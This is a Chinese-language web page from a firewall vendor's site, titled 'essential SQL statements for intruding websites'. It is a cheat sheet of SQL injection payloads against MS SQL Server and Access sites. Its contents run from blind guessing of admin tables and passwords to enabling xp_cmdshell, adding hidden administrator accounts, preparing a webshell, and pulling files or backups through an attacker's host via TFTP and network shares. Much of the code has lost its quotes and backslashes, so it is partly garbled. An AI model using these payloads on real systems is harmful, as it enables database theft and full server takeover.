关于冰盾 | 使用条款 | 网站地图
 
入侵网站必备Sql语句
入侵网站必备Sql语句
作者:冰盾防火墙 网站:www.bingdun.com 日期:2014-11-29
 

 判断有无注入点

  ; and 1=1 and 1=2

  2.猜表一般的表的名称无非是admin adminuser user pass

  password 等..

  and 0(select count(*) from *)

  and 0(select

  count(*) from admin) ---判断是否存在admin这张表

  3.猜帐号数目 如果遇到00)--

  and 1=(select

  count(*) from admin where len(用户字段名称name)>0)

  and 1=(select count(*) from

  admin where len(密码字段名称password)>0)

  5.猜解各个字段的长度

  猜解长度就是把>0变换 直到返回正确页面为止

  and 1=(select count(*) from admin where

  len(*)>0)

  and 1=(select count(*) from admin where len(name)>6) 错误

  and 1=(select count(*) from admin where len(name)>5) 正确 长度是6

  and

  1=(select count(*) from admin where len(name)=6) 正确

  and 1=(select

  count(*) from admin where len(password)>11) 正确

  and 1=(select count(*)

  from admin where len(password)>12) 错误 长度是12

  and 1=(select count(*) from

  admin where len(password)=12) 正确

  6.猜解字符

  and 1=(select count(*) from

  admin where left(name,1)=a) ---猜解用户帐号的第一位

  and 1= (select count(*) from admin

  where left(name,2)=ab)---猜解用户帐号的第二位

  就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

  and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --

  这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1--
group by users.id, users.username,
users.password, users.privs having 1= 1--
; insert into users values( 666,
attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE
_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE
COLUMN_NAME NOT IN (login_id)-
UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1
login _name FROM logintable-
UNION SELECT TOP 1 password FROM
logintable where login_name=Rahul--

  看服务器打的补丁=出错了打了SP4补丁

  and 1=(select @@VERSION)--

  看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。

  and

  1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

  判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)

  and sa=(SELECT

  System_user)--

  and user_name()=dbo--

  and

  0(select user_name()--

  看xp_cmdshell是否删除

  and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =

  xp_cmdshell)--

  xp_cmdshell被删除,恢复,支持绝对路径的恢复

  ;EXEC

  master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--

  ;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:

 inetpubwwwrootxplog70.dll--

  反向PING自己实验

;use master;declare @s
int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod
@s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

  加帐号

;DECLARE @shell
INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP
_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$
1866574 /add--

  创建一个虚拟目录E盘:

;declare @o int exec
sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run,
NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w "默认Web站点" -v "e","e: "--

  访问属性:(配合写入一个webshell)

declare @o int exec sp_oacreate
wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe
c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse

  爆库

  特殊技巧::%5c= 或者把/和 修改%5提交

  and 0(select top 1 paths from

  newtable)--

  得到库名(从1到5都是系统的id,6以上才可以判断)

and 1=(select name from
master.dbo.sysdatabases where dbid=7)--
and 0(select count(*) from
master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9....

  得到更多的数据库名

  and 0(select top 1 name from

  bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin

  and 0 (select top

  1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。

  and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and

  name=admin

  and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id

  and

  0(select top 1 name from bbs.dbo.syscolumns where id=18779569)

  得到一个admin的一个字段,假设为 user_id

  and 0(select top 1 name from

  bbs.dbo.syscolumns where id=18779569 and name not in

  (id,...)) 来暴出其他的字段

  and 0_id from BBS.dbo.admin where username>1)

  可以得到用户名

  依次可以得到密码。。。。。假设存在user_id username ,password 等字段

and 0(select count(*) from master.dbo.sysdatabases where
name>1 and dbid=6)
and 0 (select top 1 name from
bbs.dbo.sysobjects where xtype=U) 得到表名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U and name not in(Address))
and
0(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 判断id值
and 0(select top 1 name from
BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select
1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径

;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1
swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths
varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEMCurrentControlSet
ServicesW3SVCParametersVirtual Roots, @value_name=/, values=@test
OUTPUT insert into paths (path) values(@test)--
;use ku1;--
;create

  table cmd (str image);-- 建立image类型的表cmd

  存在xp_cmdshell的测试过程:

;exec master..xp_cmdshell dir
;exec
master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec
master.dbo.sp_password null,jiaoniang$,1866574;--
;exec
master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec
master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec
master.dbo.xp_cmdshell net localgroup administrators jiaoniang$
/add;--
exec master..xp _servicecontrol start, schedule

  启动服务

exec master..xp_servicecontrol start, server
;
DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC
SP_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user
jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE
wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,
C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add

  ;

  exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:
;declare @a;set @a=db_name();backup database @a to

  disk=你的IP你的共享目录bak.dat

  如果被限制则可以。

  select * from openrowset

  (sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin

  hax)

  查询构造:

SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and
right(left(userpass,01),1)=1) and userpass 
select 123;--
;use
master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1(select
count (email) from [user]);--
;update [users] set email=(select top 1 name
from sysobjects where xtype=u and status>0) where name=ffff;--
;update
[users] set email=(select top 1 id from sysobjects where xtype=u and name=ad)
where name=ffff;--
;update [users] set email=(select top 1 name from
sysobjects where xtype=u and id>581577110) where name=ffff;--
;update
[users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where
name=ffff;--
;update [users] set email=(select top 1 name from password
where id=2) where name=ffff;--

  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。

 

 
最新内容:
网站入侵技术综合总结[2014-11-29]
教你破解系统登陆密码超简单[2014-11-29]
windows下dos攻击、入侵的一些命令讲解[2014-11-29]
防止黑客入侵Windows XP常用的方法[2014-11-29]
windows XP开机密码轻松破除[2014-11-29]
Windows高危端口解析[2014-11-29]
相关内容:

合作伙伴: 黑基网 补天科技 威盾科技 站长下载 新飞金信 北京电信 ZOL应用下载
中华人民共和国增值电信业务经营许可证京ICP备14024464 公安备案号 京1081234 
版权所有©2003-2014 冰盾防火墙  www.BingDun.com 法律声明
总机:(010)51661195